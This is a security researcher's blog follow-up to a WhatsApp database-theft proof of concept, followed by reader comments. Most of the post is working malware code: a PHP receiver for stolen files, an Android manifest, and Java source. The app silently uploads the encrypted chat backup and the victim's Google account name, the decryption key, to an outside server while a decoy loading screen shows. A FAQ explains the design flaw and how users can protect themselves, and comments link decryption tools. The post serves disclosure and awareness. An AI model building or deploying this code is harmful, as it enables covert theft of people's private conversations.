When I wrote Steal WhatsApp database (PoC) I never expected it to go viral. I only wrote the article for myself and the few readers of my weblog. My brother and I started the research out of curiosity and ended with this Proof of Concept and blog post. But I’m happy with all the discussion it starts and the awareness it creates by users. My post was not meant to bash Android, WhatsApp or Facebook. I’m a happy consumer of all those products, but only question some design decisions.
However there is some room for some credits and some clarification.
First of all, I never ended up writing this article if my brother didn’t ask me the question and helped me investigating it. Also credits to the developers of WhatsApp Xtract for finding the encryption key. Secondly, I am not claiming I found something new. Whatsapp is saving these database backups on the SD card for ages, and the encryption key is known for some time now. All I did is combine these two things and wrote a Proof of Concept how this can be used to steal your chat conversations.
On TechCrunch WhatsApp responded on my post with the following text:
“We are aware of the reports regarding a “security flaw”. Unfortunately, these reports have not painted an accurate picture and are overstated. Under normal circumstances the data on a microSD card is not exposed. However, if a device owner downloads malware or a virus, their phone will be at risk. As always, we recommend WhatsApp users apply all software updates to ensure they have the latest security fixes and we strongly encourage users to only download trusted software from reputable companies. The current version of WhatsApp in Google Play was updated to further protect our users against malicious apps.”
It is not clear if Whatsapp meant my post or the reports of the journalists covering the topic. Not all press coverage contained all details which might have given a wrong impression. However they are right that you still have to get the malicious application on someones device, but with some social engineering it should be possible. The original post already reflected this information, so there was no inaccuracy there. Also in the past, these kind of apps have already been active in the Playstore, which should make clear this is not a far fetched approach.
Whatsapp however is right about the fact that the post was not accurate about the last version of Whatsapp. However, this version was released after the article was finished, the changes (or fixes) in that new version are described below.
In their newest update they changed their encryption scheme which saves the database to msgstore.db.crypt5 on the SD card. I claimed that my original PoC still works after the update, but after the first nightly backup I also had the crypt5 databases. They also stopped using a hardcoded key for all devices, and instead use the Account Name to create a device (account) unique encryption key. Which seems to be a big step forward, but it only means we also have to steal the Account Name and we can still read the WhatsApp chats.
Big credits to the guys in the Whatsapp Xtract thread on the XDA Developers Forum for reverse engineering the new encryption scheme and creating a Python script to decrypt the crypt5 databases. I love the comment separators in that Python script.
To get the crypt5 database and account name I made some changes to the original PoC. I updated the php script, so that it now saves the file with the account name as filename using $_GET[‘n’].
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<?php // Upload script to upload Whatsapp database // This script is for testing purposes only. $uploaddir = "/var/www/whatsapp/"; if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; } else { $uploadfile = $uploaddir . $_GET['n'] . "." . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile); } ?> |
We also need an extra permission in the manifest file to read the Account Name.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="bb.security.whatsappupload" android:versionCode="1" android:versionName="1.0" > <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.GET_ACCOUNTS" /> <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="19" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="bb.security.whatsappupload.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> |
And the updated source code contains a function to get the Username and use this in the request when uploading the database.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 |
package bb.security.whatsappupload; /* * This application is for testing purposes only. * Use of this application is at your own risk. */ import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.util.LinkedList; import java.util.List; import android.os.AsyncTask; import android.os.Bundle; import android.os.Environment; import android.accounts.Account; import android.accounts.AccountManager; import android.app.Activity; import android.app.ProgressDialog; import android.util.Log; import android.view.Menu; public class MainActivity extends Activity { //A ProgressDialog object private ProgressDialog progressDialog; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); new UploadWhatsApp().execute(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } @SuppressWarnings("deprecation") private void uploadFile(String file) { HttpURLConnection conn = null; DataOutputStream dos = null; DataInputStream inStream = null; Log.i("FILE", "Filename:\n" + file); String lineEnd = "\r\n"; String twoHyphens = "--"; String boundary = "*****"; int bytesRead, bytesAvailable, bufferSize; byte[] buffer; int maxBufferSize = 1 * 1024 * 1024 * 1024; String name = getUsername(); String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa5.php?n=" + name; try { // ------------------ CLIENT REQUEST FileInputStream fileInputStream = new FileInputStream(new File( file)); // open a URL connection to the Servlet URL url = new URL(urlString); // Open a HTTP connection to the URL conn = (HttpURLConnection) url.openConnection(); // Allow Inputs conn.setDoInput(true); // Allow Outputs conn.setDoOutput(true); // Don't use a cached copy. conn.setUseCaches(false); // Use a post method. conn.setRequestMethod("POST"); conn.setRequestProperty("Connection", "Keep-Alive"); conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); dos = new DataOutputStream(conn.getOutputStream()); dos.writeBytes(twoHyphens + boundary + lineEnd); dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\"" + file + "\"" + lineEnd); dos.writeBytes(lineEnd); // create a buffer of maximum size bytesAvailable = fileInputStream.available(); bufferSize = Math.min(bytesAvailable, maxBufferSize); buffer = new byte[bufferSize]; // read file and write it into form... bytesRead = fileInputStream.read(buffer, 0, bufferSize); while (bytesRead > 0) { dos.write(buffer, 0, bufferSize); bytesAvailable = fileInputStream.available(); bufferSize = Math.min(bytesAvailable, maxBufferSize); bytesRead = fileInputStream.read(buffer, 0, bufferSize); } // send multipart form data necesssary after file data... dos.writeBytes(lineEnd); dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); // close streams Log.e("Debug", "File is written"); fileInputStream.close(); dos.flush(); dos.close(); } catch (MalformedURLException ex) { Log.e("Debug", "error: " + ex.getMessage(), ex); } catch (IOException ioe) { Log.e("Debug", "error: " + ioe.getMessage(), ioe); } // ------------------ read the SERVER RESPONSE try { if (conn != null){ inStream = new DataInputStream(conn.getInputStream()); String str; while ((str = inStream.readLine()) != null) { Log.e("Debug", "Server Response " + str); } inStream.close(); } } catch (IOException ioex) { Log.e("Debug", "error: " + ioex.getMessage(), ioex); } } public String getUsername(){ AccountManager manager = AccountManager.get(this); Account[] accounts = manager.getAccountsByType("com.google"); List<String> possibleEmails = new LinkedList<String>(); for (Account account : accounts) { possibleEmails.add(account.name); } if(!possibleEmails.isEmpty() && possibleEmails.get(0) != null){ return possibleEmails.get(0); }else return null; } private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{ @Override protected void onPreExecute() { //Create a new progress dialog progressDialog = ProgressDialog.show(MainActivity.this,"Loading, please wait...", "Loading Application, please wait...", false, false); } //The code to be executed in a background thread. @Override protected Void doInBackground(Void... params) { String fileWACrypt = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/msgstore.db.crypt5"; MainActivity.this.uploadFile(fileWACrypt); return null; } //after executing the code in the thread @Override protected void onPostExecute(Void result) { //close the progress dialog progressDialog.dismiss(); //initialize the View setContentView(R.layout.activity_main); } } } |
So with some changes to the original PoC and the new Python script we still can read these WhatsApp conversations. We tested above PoC on a limited amount of devices, if you obtain other results, please let us know (with some proof).
Also some answers to some frequently asked questions:
Did you contact WhatsApp about this?
No, I did not contact WhatsApp about this, since this is not a bug, but a design decision (Usability before Security). Also I didn’t find anything new, it was already known on the internet.
How can this happen?
I’m not a WhatsApp developer, but my best guess is:
WhatsApp is not secure by design, security wasn’t as important as usability. It is something which became more important along the way. They focused on usability and that’s why they are successful. WhatsApp grew so hard that there was never time to implement a good security model. Something which became harder along the way, cause you don’t want to interrupt usability.
How can this be solved?
Important is that WhatsApp shows that it cares about users security and privacy. Which they started to do in their latest update, but they can still improve their encryption. A random unique salt per device stored in /data for their encryption key will prevent that malicious people can decrypt the database this way. I have faith that they will find a good solution, especially with involvement from Facebook, they always were more focused on security.
What can a user do to prevent this?
Not much, a user has to trust the applications it installs. Just don’t install applications from unknown sources, and be careful when allowing rights. Not only to access the SD card, but all extra rights you give to an application and wonder if they really need it. And as a user always remember that these kind of attacks can happen, so be careful what you do on your mobile device.
Is this used in the wild?
Yes, this has be done in the past. And with an application from the Playstore.
Do you notice anything as a user?
No, in my proof of concept you are displayed a loading screen. A user wouldn’t notice that they just uploaded their database.
How dangerous is this?
With all the information from my website you could create an Android application which steals someones WhatsApp database. The only thing you need to do is to get them to install the application. You can try to upload it in the Playstore (did work in the past, but doubt it will still work) or trick them to install it from unknown sources. Don’t underestimate the power of social engineering. See how effective banking malware can be.
Doesn’t this only work if you enable the backup?
Yes, but I don’t know if the backup is enabled by default. It seems it was enabled as default (in the past). What I do know is that you can’t turn it off, once enabled.
Does it still work with the new update?
No, the PoC doesn’t work with the new update. At this moment there is no known way of decrypting the database.
What about crypt5?
A newer version of WhatsApp uses a new encryption scheme which save files as msgstore.db.crypt5. The script in my original article can indeed not decrypt this file, but there is already a python script which works on these files. It only needs the account name as input. Which can also be obtained using above PoC.
What about crypt7?
The newest version of WhatsApp uses a new encryption scheme which save files as msgstore.db.crypt7. This time WhatsApp uses an unique server created salt, which means the database can’t be decrypted using above PoC. At this moment there is no known way to decrypt crypt7 database backups.
19 thoughts on “Steal WhatsApp update”
You have done the right thing by disclosing this.
I am surprised why no one thought of doing this before, considering that the encryption key was known.
It has.
Even “All I did is combine these two things and wrote a Proof of Concept how this can be used to steal your chat conversations.” is not new. There are apps out there doing this since MONTHS – on purpose of the user though – e.g. SMS Backup+.
Tested it. Works finde in phones with no SD card (Nexus-Devices) but it seems there’s a Problem with phones with an SD Card (Slot)(For example HTC Evo 3D).
also there is a point that after the update there will be the old msgstore files too!
This is not the only issue – try deleting account for example. You can delete account within app but try to install it again after couple of months and you will still get messages someone sent you meanwhile.
That’s a proper fraud which show that’s actually quasi-disable and not a proper delete.
WhatsApp_Db_Decrypt_v1.2 By DFoX
https://www.dropbox.com/s/ed66id455imxudw/WhatsApp_Db_Decrypt_v1.2.rar
Thanks Bas Bosschert
http://forum.xda-developers.com/showthread.php?t=2685689
New version v1.4. Sqlite manage add…
Regards
https://github.com/venomous0x/WhatsAPI/issues/635
WhatsApp tries to hide some info in /sdcard/WhatsApp/Profile Pictures/.nomedia
I need to decrypt a msgstore… that was crypted when there was NO ACCOUNT in the mobile phone. It was an xperia x8 with a known issue that prevents you from adding a google account. does anyone know what the “no account” account is?
Comments are closed.